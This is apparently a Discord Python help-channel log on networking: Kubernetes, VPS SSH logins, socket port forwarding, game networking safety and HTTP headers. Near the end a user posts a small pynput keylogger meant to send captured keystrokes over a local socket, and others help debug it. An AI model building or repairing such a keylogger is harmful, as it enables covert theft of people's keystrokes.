#networks

1 messages ยท Page 21 of 1

vernal surge
#

Anyway, don't use single node clusters in the cloud :)

dusk sparrow
#

yah , im really sorry for not being clear enough

#

Anyway, don't use single node clusters in the cloud :)
oh so we have worker nodes too?

#

Im really new into k8 stuff actually , sorry for any dumb statements I may/might have made

#

anyways , so u suggest that we have a high end bare metal to get things done?

vernal surge
#

They don't have to be super high end, but mid range servers are fine (which are i7 level)

dusk sparrow
#

so an 8gigs i7 would do?

vernal surge
#

Wait, does that provider not offer Xeons?

#

I'm starting to think you shouldn't use that provider lol

dusk sparrow
#

yah true , I wish so ,but we already had creds left , and lack of cash in hand ๐Ÿ˜“

#

Wait, does that provider not offer Xeons?
@vernal surge yes yes , it does

vernal surge
#

For a server, an i7 shouldn't be an option lol

dusk sparrow
#

ah right

river granite
#

where can i get help with vps?

vernal surge
#

But yeah, you don't want to short change yourself on your nodes, because you will have to immediate vertically scale, rather than horizontally, that that doesn't do anyone any good

#

@river granite depends on the question

river granite
#

oh

#

ok so im trying to use the vps

#

in windwos powershell

#

but it keept saying Permission denied, please try again

#

when i enter the root password

dusk sparrow
#

thank u so much for the suggestions @vernal surge

vernal surge
#

Define VPS@river granite

river granite
#

galaxygate

#

i just bought it right now

#

its active but i never used any vps

vernal surge
#

@dusk sparrow no problem. But yeah, for a production cluster, 2 masters, 2 nodes are generally fine to start with

river granite
#

and my friend is helping me but he siad he still can't find solution

dusk sparrow
#

@dusk sparrow no problem. But yeah, for a production cluster, 2 masters, 2 nodes are generally fine to start with
@vernal surge sure thank u once again!!!

vernal surge
#

@river granite ok, so a virtual private server

#

@river granite my assumption is you are trying to SSH in?

river granite
#

yes

#

ssh jayti@ip dress

#

and then i type root password

vernal surge
#

Did you set up that username on the box?

river granite
#

?

vernal surge
#

But a permission denied generally means one of two things: bad user, or bad password

river granite
#

password is alright

vernal surge
#

And fwiw, 8/mo is too much when you get more from Linode for 5 lol

#

Ok, what is the OS you are trying to connect to? Linux?

river granite
#

i actually dont know

#

my friend just helping me

#

from start

#

i am tryign to host my discord bot 24/7

#

and he told me to type ssh jayti@ip dress

vernal surge
#

Sounds like your friend needs to help you then. You don't have enough info for me to help you.

river granite
vernal surge
#

What?

#

No one can help you unless we know 1) the OS 2) how it got initialized

#

Because if you just launch a Debian instance, there is no "jayti" user. And most cloud providers make you use a key now a days anyway, so a password will never work

#

But given your error, it sounds like the username

#

But I have no idea if you are trying to SSH into an empty void or not

river granite
#

i think i know what os

#

in my gmail

#

nvm

vernal surge
#

It sounds like your friend has no idea what is going on either though

#

If you are willing to pay, why not just use Amazon and get a free server

river granite
#

oh.

#

i am using vsc for my bot(discord.py) files and sqlite3 for database except these infos i dont know what you are asking

vernal surge
#

Yeah, that doesn't answer anything lol

knotty heath
#

hey! quick question

#

i have a flask app and a html file which uses <something src="jsfile.js">

#

and a css

#

my current solution is:

@server.route('/debug/style.css')
def debugPageCSS():
    return send_file("html/debug/style.css")

@server.route('/debug')
def debugPageHTML():
    return send_file("html/debug/index.html")
#

with a route for js too

#

can i send them all at once?

gloomy root
#

This should be in #web-development and normally you have a static folder and serve that

cobalt nebula
#

Does anyone use python for Palo alto firewalls? I'm curious how you're leveraging. I wanted to be able to log into a pan through clip and run scripts

dreamy python
#

hi important question about using socketio lib

#

What is the structure of data in the media?(data format payload i guess is the term)
Do they have a signature check? Or CRC?

dreamy python
#

@gloomy root do u have some answers for me?
thanks

errant bayBOT
#

Hey @ember ledge!

Uh-oh! It looks like your message got zapped by our spam filter. We currently don't allow .txt attachments, so here are some tips to help you travel safely:

โ€ข If you attempted to send a message longer than 2000 characters, try shortening your message to fit within the character limit or use a pasting service (see below)

โ€ข If you tried to show someone your code, you can use codeblocks
(run !code-blocks in #bot-commands for more information) or use a pasting service like:

https://paste.pythondiscord.com

dreamy python
#

Someone here is mastering socketio?

#

What is the structure of data in the media?(data format payload i guess is the term)
Do they have a signature check? Or CRC?

restive blaze
#

Few people use socket

#

So it might take a while for someone to come by

dreamy python
#

@restive blaze i ment to socketio which uses engine.io and websocket..

restive blaze
#

also

#

this: Do they have a signature check? Or CRC? doesn't matter

#

that handled at lower level

gloomy root
#

Socketio is high level overall and what ever format you use for sending the data is ultimately up to you

#

Alot of people with WS use json formats with operation codes that make management easier

#

But again 5hats just however you wanna do it

toxic crescent
#

is this a neural networks server?

gloomy root
#

not that sort of networking

toxic crescent
#

Alright thanks

raven gazelle
#

my socket transmissions work when i have two computers on a local network, but as soon as i set up the server on my network and give my friend the client program, it doesn't work

cosmic current
#

More requests!

storm saffron
#

@raven gazelle have you port forwarded? Routers by default block all incoming traffic unless they know what it is

raven gazelle
#

@storm saffron just did now , still not working

#

does the client need to p forward too?

#

also i cant ping their ip in terminal so it might be our ISP'S

storm saffron
#

No, client doesn't need to port forward

#

The client's router recognises that the client has started the outbound connection

#

Or it should if you're using tcp

#

Can you show your code

raven gazelle
#

sure, ill have to dm you tomorrow or something

#

its 5am

simple flax
#

are raw sockets or websockets best for a desktop chat app?

#

its probably easier to implement tls/ssl on websockets

spare ferry
#

but when i use the interpreter itself on the directory 'site-packages' im able to use scapy

fiery cipher
#
def aa():

    while 1:
        try:
            host = '127.0.0.1'
            port = 1234
            s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            s.connect((host,port))
        except:
            aa()
aa()```
#

why not working

#

?

thorn stratus
#

Because you call the function again in the except, but it's also in a while loop

#

So you just have a continuously growimg number of functions calling more functions

rigid edge
#

i have a simple , client.py - server.py and i use virtual serial ports , i want to transition it to using my local router ip 127.168.x.y , so i can use one comp to message other comp , is the easiest way to use some kind of socket thingy?

topaz acorn
#

How can I use python requests to access an api and print data from it
api example: {"success":true,"session":{"online":false}}
I want it to print if online is true or false

dreamy python
#

this: Do they have a signature check? Or CRC? doesn't matter
@restive blaze can u explain further on which layer? Im curious about that ..

thorn stratus
#

@rigid edge the 127.x.x.x network is all loopback, anything sent to one of those addresses will never leave your computer

#

You can use sockets to communicate on your local network though

#

There are also higher level networking APIs you can use

ember ledge
#

How can I use python requests to access an api and print data from it
api example: {"success":true,"session":{"online":false}}
I want it to print if online is true or false
@topaz acorn You need to take the JSON response and convert it to a readable format.

graceful radish
#

Hi,

Why does the ASGI http.response.push message for indicating HTTP2 server push doesn't respond with a body for client to recieve?

gloomy root
#

@graceful radish well that depends on your Web server you're using

graceful radish
gloomy root
#

Last time I read through ASGI the interface for HTTP/2 are the same as HTTP/1.1 because most of the changed are under the hood and don't affect the interface itself, the-

#

Http2 is definitely not the same has http3

graceful radish
#

yes, I understand that. but the server push is similar

#

I tried this project out, when the index.html is downloaded, I expect styles.css to be downloaded along with it in the client side for that 1 request.

#

But I don't find that happening.

gloomy root
#

Okay, so a couple things

#
  1. so are you actually using HTTP2 or HTTP3 because this seems very back a forth when we're referencing a HTTP3 server and client implementation

  2. does what ever you're using to test said server actually support HTTP 2 or http3 in the first place

graceful radish
#
  1. I'm referring to HTTP/3 here
  2. The used ASGI interface is starlette, it supports HTTP/3 server push.
#

I hope that answers

gloomy root
#

What are you using to test it though

graceful radish
#

you meant the client?

gloomy root
#

If your browser doesn't support http2 or 3 then it won't use those protocols

#

Also starlette isn't a server it's the framework

graceful radish
#

yup, understood, that is why I mentioned it as the interface ๐Ÿ˜‰

gloomy root
#

Hmm

graceful radish
#

yeah, but I'm not sure why exactly is that the server push doesn't download the resource when asked for?

graceful radish
#

Does server notify the client if there is a server push on it's way? or rather the application directly feeds off of it from the cache or something without the client intervention?

undone gust
#

without adding anything in the server like 'if you receive this certain message close the connection', how can i close a connection from the client?

cold geyser
#

there is probably some .close method or similar on the socket or whatever it is you're using

undone gust
#

well yeah you can do .close() but only on the server

gloomy root
#

Clients have the same thing on sockets

undone gust
#

i can't do client.close(), it just doesn't work

thorn stratus
#

Wdym it just doesn't work

restive blaze
#

@undone gust you can't, you are not in charge of client network connection as the server, you can just close it on your end

undone gust
#

i guess i'll just close it on my end and handle the error that arises

nova ferry
#

what do i need to learn if i want to start making bots for whatsapp? for example bot checks my LAN network devices and give me options to see their status offline or online ping latency etc
still learning python

dusk sparrow
#

I've been trying to work with deploying services using kubernetes , but when I try to port forward , it always errors out saying error: unable to forward port because pod is not running. Current status=Pending

#

previously I had been suggested on this channel to use a higher specs machine , atleast 8 gb ram and 8 cores, now Im running kubernetes on a vm which is having 16 gb ram and 8 cores

#

but still the same issue persists

#

can someone give me an insight into this?

errant bayBOT
#

Hey @dusk sparrow!

Uh-oh! It looks like your message got zapped by our spam filter. We currently don't allow .txt attachments, so here are some tips to help you travel safely:

โ€ข If you attempted to send a message longer than 2000 characters, try shortening your message to fit within the character limit or use a pasting service (see below)

โ€ข If you tried to show someone your code, you can use codeblocks
(run !code-blocks in #bot-commands for more information) or use a pasting service like:

https://paste.pythondiscord.com

dusk sparrow
graceful radish
#

Hi, how to generate timestamp in this format: 2019-08-30T14:56:08.069Z

spare ferry
#

hey, i would like to know if there is any packet-intercepting library for windows (like netfilterqueue for linux)

#

or if there is a cross-platform one

restive blaze
#

WinPCap

wanton egret
#

im working on a simple webserver in python

#

the page is loading 'correctly' and errors are handled fine

#

i say correctly because...

#

anyone know what im doing wrong?

#

thats the sending part

vernal surge
#

Sounds like you're not setting the header

#

So the browser thinks it should render text

wanton egret
#

so google headers then?

#

is it part of the HTTP/1.o bit?

vernal surge
#

Also, why 1.0? 1.1 is the standard these days

wanton egret
#

lol sry fixed now

vernal surge
#

But yeah, you can Google headers, or go to any website ever and just do the dev tools and look at their headers

gloomy root
#

content type is needed as a header

vernal surge
#

Damn it @gloomy root trying to lead him to the river, but not fish for him lol

gloomy root
#

i mean hes still gotta search for it :P

vernal surge
#

Lol

gloomy root
#

xD

vernal surge
#

If you are writing a web server, appropriate header handling is paramount

gloomy root
#

btw that seems like a awfully complicated way to send a simple html file

vernal surge
#

Not just content type though

gloomy root
#

^^

wanton egret
gloomy root
#

sip

wanton egret
#

do i send that after the 200 ok?

gloomy root
#

tias

#

btw i would probably look at what a existing webserver sends back

#

because you're still missing alot of default headers

wanton egret
gloomy root
#

yikes

wanton egret
#

how do i see what the server send to me rather than the nice table view in crome dev tools?

gloomy root
#

curl

#

curl the fuck outa it

wanton egret
#

needed to have the headers sent as one

#

thx

ember ledge
#

what's the best settings / methods to speed my internet up

nimble maple
#

@ember ledge are you trolling? If you're not, you can't, other than using a wired connection.

raven gazelle
#

ok so basically i've had this issue for about a week and I can't figure it out.
I haven't any friends who know how to program, so debugging is difficult.

essentially, I have no issue setting up socket servers on my localhost, with two pc's connection from the same network.
But as soon as I give a friend the client program, it doesn't work. I've tried everything with port-forwarding and every possible setting with socket.

if anybody could hop on dm's, or even here, and actively help me debug, that would be great. Thanks

gloomy root
#

@raven gazelle are you actually bindind to 0.0.0.0

raven gazelle
#

no

#

im binding to my local ip

#

and connecting too

gloomy root
#

Well then there you go

#

Only lan to connect to lan

raven gazelle
#

....

#

except im not doing lan anymore

#

what the hell do you mean "there you go"

gloomy root
#

Because you're binding to local host and expecting to be able to connect from wan

#

๐Ÿ˜‹

raven gazelle
#

should i not be using a 192.168 ip?

#

i changed from localhost when trying to connect with friends

#

@gloomy root

gloomy root
#

Well what did you change it too...

raven gazelle
#

192.168 ip

#

my local one

gloomy root
raven gazelle
#

dude....

#

i feel like there's a language barrier or you simply don't understand what I'm saying

#

i'm not using localhost, 0.0.0.0 or 127.0.0.1

#

im using my local ipv4 address

gloomy root
#

๐Ÿคฆโ€โ™‚๏ธ okay, I'm gonna just ignore the whole binding thing you're doing and gonna tell you 5o actually check your ports

raven gazelle
#

thats the main thing ive been troubleshooting

#

ive portforwarded, tried udp, tcp

gloomy root
#

Use a port checker, is the port actually open

slender steeple
#

@raven gazelle 192 is internal to your lan

#

you need your external ip

raven gazelle
#

so i need to use my public ip? ive tried that too so

slender steeple
#

also check if your router is blocking incoming connections

#

i think you need to port forward from the router to your computer

#

since im pretty sure the external ip is for your entire lan

thorn stratus
#

@raven gazelle there are multiple machines sharing your public IP, so you need to tell your router which private IP to send incoming connections too

#

Via port forwarding

raven gazelle
#

yeah ive port forwarded

#

but ok ill try my public ip later today

thorn stratus
#

Are you sure you forwarded the correct port and protocol to the correct private ip

#

@gloomy root binding to your local IP will work fine, it's just saying listen on that interface. The router will send packets to that IP if port forwarding is set up correctly

slender steeple
#

yeah but you need to connect to the public ip

gloomy root
#

@๐™‰๐™–๐™ฉ๐™ฎ๐’„๐’‚๐’•#6969 I know

#

But it can cause weird issues at times especially if your local ip is static

#

Dynamic sorry*

thorn stratus
#

True, plus it is unnecessary unless you have multiple interfaces

hasty sun
#

Hello guys

#

Is it possible to develop API using socket library?

#

I know, this is a strange question

restive blaze
#

Technically yes but no reason to do so

gloomy root
#

you'll be much better off using a existing framework that uses either WSGI or ASGI interfaces

hasty sun
#

my employer said I must do it ๐Ÿ™‚

restive blaze
#

Good luck with that

hasty sun
#

are there any differenced between api developed with flask (for ex.) and with sockets?

gloomy root
#

gl indeed

#

alot

#

a metric fuck tonne

hasty sun
#

thanks buddy

#

a think I need it now

gloomy root
#

if your employer is saying you can only make the api using the sockets module then they probably have no idea what it actually involves or takes todo so

kind karma
#

Can someone help me fix this Best Buy bot? https://github.com/natewong1313/bird-bot/
The Best Buy API that adds an item to the cart in this bot seems outdated, and the new API is 'https://api.bestbuy.com/click/5592e2b895800000/(SKU_HERE)/cart'
I'm not sure how to rewrite the bot for it to work using the new API... specifically in the file \sites\bestbuy.py on line 123
Here is a link to the best buy API: https://bestbuyapis.github.io/api-documentation/

slender steeple
#

!rule 5

errant bayBOT
#

5. Do not provide or request help on projects that may break laws, breach terms of services, be considered malicious/inappropriate or be for graded coursework/exams.

slender steeple
#

pretty sure that violates tos

gloomy root
#

It's a api

blissful juniper
#

Hi
i understand what docker is
but i can't how can we use docker as a network engineer for day to day network automation tasks that i might have to do
netmiko
nornir
ansible etc

sonic hornet
#

how do i do secure networking?

#

i am making a multiplayer game and i dont want anyone to hack by sending custom data to the game servers!

modest pebble
#

You'd usually use a private key, but it would be pretty trivial to extract that from the python game

#

The best way you could make sure that the data is legit is hosting game servers and have the client connect to them, so you can make sure that the whole game session is legit before granting any reward

low isle
#

should i be using apache instead of iis on my windows laptop to dev a web api that will be hosted on an ubuntu server?

shy pebble
#

the client should never have more information than it needs

#

and should always be mistrusted

restive blaze
#

No

#

you should be using Docker to test

low isle
#

i'll look into docker then thanks lol

#

kinda new to this stuff, but i'll figure it out lol

thin zodiac
#

does anyone know how i can check if a ssl certificate is revoked using python?

sonic hornet
#

i am making a multiplayer game.
if i do networking with the socket module, and do not implement any security stuff, what are the risks of my game getting hacked?

#

and how should i prevent that?

shy pebble
#

You prevent hacking by assuming the client lies and do not let even entirely arbitrary packets do more than a legitimate user

#

What may be an issue is hacking as in intercepting socket connection, as get very little security compared to https

vestal surge
#

What did i do wrong? it does work but it never sets the addresses i want in my machine i'm trying to make a program so i can quickly change the ip i want fast and easy without going thru lots of menues and having the ability to forget addresses while typing

restive blaze
#

Probably formatting issue with WMI

#

Google proper format for WMI network.

blazing aurora
#

who has AttributeError: module 'nmap' has no attribute 'Portscanner' error? i uninstall nmap and instal python-nmap but didn't fix

ember ledge
#

@blazing aurora Send your code.

vestal surge
#

You nรฉed both nmap installed at your pc and the nmap module from python

tawny spindle
#

@sonic hornet if you do what you are saying and then connect to random people, you will get hacked.

neon hinge
#

i am making a multiplayer game.
if i do networking with the socket module, and do not implement any security stuff, what are the risks of my game getting hacked?
@sonic hornet
firstly: drop the idea of making a game in python. it lacks the speed for making a good game, and it's just not built for it. if you're set on making a game, look into some game engines like unity, unreal engine, game maker, and (if you want to program in a python-like language) use godot.

secondly: by directly connecting the 2 players with the sockets module you expose the players to a high risk if one of them has malicious intents.

sonic hornet
#

if i instead make it so that you press a button, the game asks you who you want to connect to, plus a warning that states that you should never connect to people you dont trust - is my game safe then?

sonic hornet
#

@neon hinge please answer the previous question when you can

neon hinge
#

thats not safety, thats just letting your players know that your game isnt safe and that they're playing at their own risk

#

as i said before, and im guessing im going to have to repeat myself:

forget about trying to make a game in python in general

#

its much better overall to use an engine

harsh saddle
#

Guys are there any books/websites to teach socket?

#

I'm not a complete beginner tho , just looking for a good book/website to follow

pearl solar
#

Real Python has good tutorials to follow, and after that you can just use the docs as you code

harsh saddle
#

Oh I see

#

Thanks

slender steeple
#

@dusky heron ok then multiplayer is completely insecure

#

since you're going to get mitm'd

#

and/or stolen passwords

weak heron
#

i made a socket server and it jus stops listening

#

anybody have an idea?

errant bayBOT
#

Hey @obtuse swift!

It looks like you tried to attach file type(s) that we do not allow (.bat). We currently allow the following file types: .3gp, .3g2, .avi, .bmp, .gif, .h264, .jpg, .jpeg, .mkv, .mov, .mp4, .mpeg, .mpg, .png, .tiff, .wmv, .svg, .psd, .ai, .aep, .xcf, .mp3, .wav, .ogg, .webm, .webp, .flac, .m4a.

Feel free to ask in #community-meta if you think this is a mistake.

obtuse swift
sonic hornet
#

if a add a button to my game, and when you click it it allows you to type in a ip and that stuff to connect to, and i put a warning "only connect to people you trust", is my game safe then?

#

and i dont implement any big security stuff?

sonic hornet
#

JUST ANSWER ME

#

ITS A SUPER SIMPLE QUESTION

gloomy forum
#

that absolutely sounds not safe.

#

but there are probably libraries out there, that you can simply plug into your app, and make it safe

#

@sonic hornet

sonic hornet
#

probably? ive been asking the same question for weeks. i need helpful answers from people who knows this stuff

narrow oak
#

@sonic hornet
If you want your game to be safe you could encrypt the network so its a bit harder for others to cheat in your game. You could also verify the packets being sent in your server (assuming you use a server for your game) to check if this packet looks real. For instance, if you're sending json values over the network and your server suddenly receives something else then you know something is wrong.

You can also give a warning that if you connect its your own risk, as you suggested, but this wont really make your game any safer it will just put the responsibility on the client.
If the game is only played over the LAN then you don't necessarily need to take the same precautions.

#

when sending more sensitive data over the network, such as password you'd definitely want to encrypt the network, plus even hash the password to grant privacy and prevent someone from gaining the password.

wanton egret
#

not specifically python but how do you have a html page redirect the client as soon as its loaded?

shy pebble
#

with JS, you can do window.location=newLoc

wanton egret
#

i did google to that result, how can that be run as soon as the page loads?

shy pebble
#

put it in a <script async defer>

wanton egret
#

thanks works perfectly

storm saffron
#

doesn't html natively have a redirect head element

left ermine
#

can you guys teach me or show me show me how to make udp proxy that can handle multiple connections? (googling is not helping)

left ermine
#

hello?

slender steeple
#

@narrow oak client side hashing is less secure than server side

#

bc then db leaks = all passwords compromised

#

since the hash becomes the pwd

narrow oak
#

If there is ssl/tls then it's not necessary to do client side hashing.

white hare
#

anyone here use the python whois module? I'm trying to do multithreading with it, and i believe it keeps throwing socket errors but I can't seem to catch it and have it retry

slender steeple
#

dont games usually use udp for speed?

#

@narrow oak

#

@white hare send code + error messages

#

guessing that its not thread safe

#

also which whois lib

#

theres 2 on pypi

narrow oak
#

@slender steeple yes, many games uses udp when it's okay if some packets don't get sent, thus resulting in better performance. Some games also use tcp when critical packets are being sent, and even a mix of both.

#

But yeah, udp is most common for speed

neon hinge
#

its about an http server im making with sockets

#

i need some help with post requests

sonic hornet
#

what port should i use for my game?

tribal flower
#

@sonic hornet depends what your game is?

#

Normally youโ€™d want UDP for the type itโ€™s quicker than TCP if I remember correctly.

sonic hornet
#

its just a game

#

what more info do you need

#

you connect to someone

#

and play

tribal flower
#

๐Ÿคทโ€โ™‚๏ธ depends. To be honest.

Personally go with a UDP for the type. And pick a high port so it wonโ€™t have much interference with other programs. Lower ports tend to be used by other processes.

sonic hornet
#

should i use the maximum port?

#

or 12345, as tutorialspoint says

tribal flower
#

No. ๐Ÿ˜‚. If itโ€™s just for debugging then you know what your pc has free.

If itโ€™s production then pick something in the 22000s as an example

sonic hornet
#

what do you mean by production

tribal flower
#

If youโ€™re sending it as a project for school/releasing it to public

sonic hornet
#

public

tribal flower
#

Somewhere in 22000s

sonic hornet
#

ok, thanks!

tribal flower
#

No problem

sonic hornet
#

@tribal flower 22006 feels like a good port

#

should i use it?

tribal flower
#

Yeah. โœŒ๏ธ

sonic hornet
#

๐Ÿ‘

sonic hornet
#

s.bind((HOST, PORT))

in an example i saw, host is a localhost ip (127.0.0.1). (a server.py file)
i dont really understand, should this be the ip for the machine the server is running on?

#

the example gives undetailed information

gloomy root
#

127.0.0.1 just means localhost essentially

sonic hornet
#

yeah

#

but i dont want it to be localhost

#

so what should i put there

gloomy root
#

so use 0.0.0.0

#

but exposing your shit with raw sockets is very dangerous if you dont know what you're doing

sonic hornet
#

i just wanna connect to some other computer

#

im just wondering, what does that specific ip do? is it the client i want to connect to, is it the machine the server is running on?

gloomy root
#

exposes your machine to the open world esssentially

sonic hornet
#

so if i use 0.0.0.0, any client can connect to my machine?

gloomy root
#

yes

sonic hornet
#

but if i only want one specific client to connect, should i use some sort of whitelist?

gloomy root
#

you dont get that choice

#

which is why i said its very dangerous if you dont know exactly what your doing

#

if you make a simple http server bind it to 0.0.0.0:80 and wait you'll see web crawlers just pinging your server trying to inject things into it

#

the outer internet is a vast and scary place and nothing is safe

sonic hornet
#

wait, is 0.0.0.0 and localhost the only possible values for HOST in server.py?

gloomy root
#

well there are others but they wont stop anything connecting to the server

sonic hornet
#

but cant i do 0.0.0.0 but only allow some ip's to connect?

gloomy root
#

I mean sure.. If you code it

sonic hornet
#

isnt that just a simple if?

gloomy root
#

It can be

#

often its not but it could

sonic hornet
#

what would it be otherwise?

gloomy root
#

depends on the server

#

bearing in mind most IPs are Dynamic

#

so you're ifs can just be broken by the client just restarting their router most of the time

#

Some ISPs also rotate Ips every month aswell

sonic hornet
#

i am making a server using the socket module, for my game

gloomy root
#

TCP or UDP

sonic hornet
#

havent picked

gloomy root
#

well it would be a good idea todo so before actually doing anything because they're very diffrent systems

sonic hornet
#

yes

#

i havent really done anything

#

i think im gonna go with udp

#

because it is commonly used for games

gloomy root
#

yes but do you actually know why and why it would be useful for you or just because its common for games

sonic hornet
#

ive read about them and udp feels better

#

plus its commonly used for games

gloomy root
#

Okay, well i would advise actually reading indepth about udp

sonic hornet
#

conn, addr = s.accept()

#

is addr the ip of the client?

storm saffron
#

not very clear is it

#

could by an ip, port pair

#

try it and see

#

or actually i'm sure it's been used somewhere else on the internet

white hare
#

I'm trying to write a module to perform whois lookups, and I keep getting "Error trying to connect to socket: closing socket" when trying to run multiple threads doing whois lookups

#

I can't seem to catch the error either! So annoying.... anyone got any ideas?

#

ugh I like the way he parses the data, maybe I can just make it thread safe?

#

going to try this instead

#

damn this one doesn't return emails ๐Ÿ˜ฆ

#

jk its the parser thats not handling the emails

mental saddle
#

hey

#

anyone here created a nueral network before

azure hound
#

Yea I have some experience with CNN's

dreamy python
#

hi can someone explain me on this websocket link what is http upgrade??
and for what is he responsible??

viral minnow
#

The other day there was a discussion in this channel about sockets. It was mentioned that binding a socket to address 0.0.0.0 'exposes the machine to the whole wide world'. Does this mean that I can run a server program on my machine, find its public IP, and connect to it from another network using its public IP?

modest pebble
#

Well, it depends on your setup actually

#

If you have like a webserver in a datacenter, with its own punlic ip address, yes it will work

#

Although, if your machine is behing a router, your personal computer for instance, you will have to make sure that your router will route the incoming traffic to your computer

viral minnow
#

gotcha. on my home network this just allows other devices on my home network to contact me then?

modest pebble
#

If you want it to be public, youโ€™d allow everyone from outside of your network to connect

gloomy root
#

Port forwardingโ„ข๏ธ

viral minnow
#

thanks all

mint needle
#

I have made my website on Django and currently hosted on heroku but wish to host on my desktop-linux. I have bought my domain but having problem in hosting on laptop.

dreamy python
#

hi can someone explain me on this websocket link what is http upgrade??
and for what is he responsible??
@dreamy python someone can hekp please??

blazing aurora
#

Hey i use scapy and when i run a=IP(dst="https://www.geeksforgeeks.org/") after i have this error ---> tmp[0] = socket.gethostbyname(tmp[0])
socket.gaierror: [Errno 11001] getaddrinfo failed

#

why?

merry dawn
slender steeple
#

@blazing aurora ip packets need an ip address not a url

#

assuming scapy follows normal conventions

#

you need to make a dns lookup to find the actual ip

blazing aurora
#

@slender steeple okay thank

fallow needle
#

i'm doing some beginner ctfs that i need a python script to beat

slender steeple
#

hm

#

why do you use requests first

#

then use urllib

#

stick to one

#

also dont use python 2

#

@fallow needle

neon hinge
#

also dont use python 2
^^^^^

#

@slender steeple think he left tho

shut roost
#

he did

shut yew
#

is python2 still used in professional environments a lot?

slender steeple
#

wrong channel @shut yew

blazing aurora
#

@slender steeple i run p=sr1(IP(dst="157.240.9.35")) this is fb ip addres and got answer is 0 why?

#

Received 25 packets, got 0 answers, remaining 1 packets

slender steeple
#

you're sending raw ip packets

#

neither tcp nor udp

#

how's the server supposed to respond?

blazing aurora
#

ok thank

ember ledge
#

How can I download files from a magnet link programmatically in python?

glad garnet
ember ledge
#

What do i do here?

import selenium
from selenium import webdriver
from time import sleep

driver = webdriver.Firefox()
driver.get('https://www.python.org')
sleep(1)

driver.get_screenshot_as_file("screenshot.png")
driver.quit()
print("end...")
mental saddle
#

can someone help me convert python script to exe file

ember ledge
lime plover
#

I want to register a domain to use for custom emails + other stuff in the future. I don't want to host a domain on my computer, what am I able to use

#

nor use my IP

ember ledge
#

@lime plover VPS.

lime plover
#

I figured that out

#

I used OpenVPN on Azure

#

@ember ledge

ember ledge
#

Ok.

lime plover
#

That works?

#

I also used a .tech domain that came with my GitHub education

dreamy python
#

Hi there is a coding techniques for sending data over WiFi?(using socketio which using websocket)

#

I mean what is the coding technique?

subtle arch
#

how to use the select module in python?

red crystal
#

How come aiohttp clientsessions should be created from within an async function?

#

like what difference does it make

restive blaze
#

aiohttp sessions are async

ember ledge
#

i have a socket

#

it looks something like this :import socket

from threading import *
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "192.168.1.3"
port = 8000
print (host)
print (port)
serversocket.bind((host, port))

class client(Thread):
    def __init__(self, socket, address):
        Thread.__init__(self)
        self.sock = socket
        self.addr = address
        self.start()

    def run(self):
        while 1:
            print('Client sent:', self.sock.recv(1024).decode())
            self.sock.send(b'Oi you sent something to me')

serversocket.listen(5)
print ('server started and listening')
while 1:
    clientsocket, address = serversocket.accept()
    client(clientsocket, address)```
slender steeple
#

Ok

#

what's the issue?

ember ledge
#

when i try to send a string

#

i get error

#

one sec

#
Traceback (most recent call last):
  File "/usr/lib/python2.7/threading.py", line 801, in __bootstrap_inner
    self.run()
  File "keylogger.py", line 22, in run
    self.sock.send(input().encode())
  File "<string>", line 1, in <module>
NameError: name 'hey' is not defined```
#

if i were to replace self.sock.send(b'Oi you sent something to me')

slender steeple
#

python 2

#

python2 uses raw_input

ember ledge
#

with self.sock.send(input().encode())

#

oh

slender steeple
#

but please don't use python2

#

upgrade to python3

ember ledge
#

ik

#

i copied it off stackoverflow lol

#

its 7 yo

slender steeple
#

wait are you running this usingpython or python3

ember ledge
#

but how dont i get a input() not defined erro

slender steeple
#

bc you should be using python3

ember ledge
#

how does python2 know what input() is

slender steeple
#

input in py2 is wack

ember ledge
#

i am using 2.7

#

python --version

slender steeple
#

input evals the input before returning it

ember ledge
#

and raw_input doesn't?

slender steeple
#

Don't run your programs using python

#

no

ember ledge
#

oh thanks

#

got it

slender steeple
#

use python3 cmd

#

since this code appears to be py3 code anyeays

ember ledge
#

oh k

ember ledge
#

hey

#

i made this keylogger

#

but it doesnt work\

#
import sys
from socket import AF_INET, SOCK_STREAM, socket

from pynput.keyboard import Listener

sock = socket(AF_INET, SOCK_STREAM)
sock.bind(("127.0.0.1", 1234))
file = sock.makefile("w")
sys.stdout = file


def on_press(key):
    sys.stdout.write("{0}".format(key))


with Listener(on_press=on_press) as listener:
    listener.join()
#

a very minimal program to send the pressed keys to port 1234

#

what is wrong with this

#

i dont get any error

#

but when i do nc 127.0.0.1 1234, it exits with code 1

tulip nymph
#

Code: https://pastebin.com/Gyzj0vkPSo
I'm new to this but can someone confirm what my code does?
So it will accept either one target to scan or multiple, then it will go through the scan_multiple function and convert the domain names to an IP with the dti function, then scan ports from 1 to 100. Then scan with the scanner function, if it isn't connected to the port by 0.5 seconds it will assume it is closed, and disconnect. If it does connect, it will get the banner with the get_banner function and print the [+] port num along with the banner. If there is no banner, it will only print [+] port num only. Am I right?

storm saffron
#

Run it and see

#

In addition to asking people

#

Cause like

#

There are so many possible bugs that would be very hard to spot

tulip nymph
#

I did run it but it works perfectly because of the try and except blods

#

Blocks*

#

I tired removing them so I can get an error

#

But removing them just doesn't let the program work or it just crashes immediately

grave pilot
#

how do i write a python proxy server

#

(steps, lib to use )

ember ledge
#

What is udp

#

Guys pls explain

gloomy root
ember ledge
#

hello anyone

vestal scroll
#

Just ask away, someone will respond when they see it

storm saffron
#

a la !ask

#

!ask

#

damn

#

nvm

mental saddle
#

Anyone here intermediate level with socket connections and severs that would like to work on an upcoming project with me and my team

ember ledge
#

@mental saddle whats the project?

steady horizon
wraith grove
#

yep

#

you could even do print(key, end='')

#

pretty magical stuff

mild storm
#

Hello, I would like to know why when using the ping command you don't need to specify a subnet. Because then the same ip would lead to the same networks no ?

storm saffron
#

What kind of IP are you pinging

#

Is it broadcast?

modest pebble
#

It is using your default subnet mask, probably 255.255.255.0

storm saffron
#

Ah right

mild storm
#

For example if i have 192.62.1.3/24

#

If i have the same with /16

#

It is two different networks

#

But why the ping command doesn't take the submask as argument

modest geyser
#

what's the best way to implement sockets like socketio but with python?

shy pebble
#

socketio already has a python implementation, if you wanted to do it yourself you would probably use some http lib and websockets

modest geyser
#

thanks

summer oar
#

hey guyz , i was wondering which is better default socket or socketio

#

even whats the diff. between them

shy pebble
#

socketio is a way for websites to communicate in real time using a protocol built atop http and websockets. The socket library of python provides a way to manipulate raw packets, and operates at a lower level than http and websocket, which themselves are lower level that socketio

#

it is somewhat confusing

storm saffron
#

yeah i'm not sure i like 'websockets' as a phrase

#

well

#

websockets is fine but

#

when you have web people referring to them as 'sockets' it becomes a bit blobcatnotlikethis

shy pebble
#

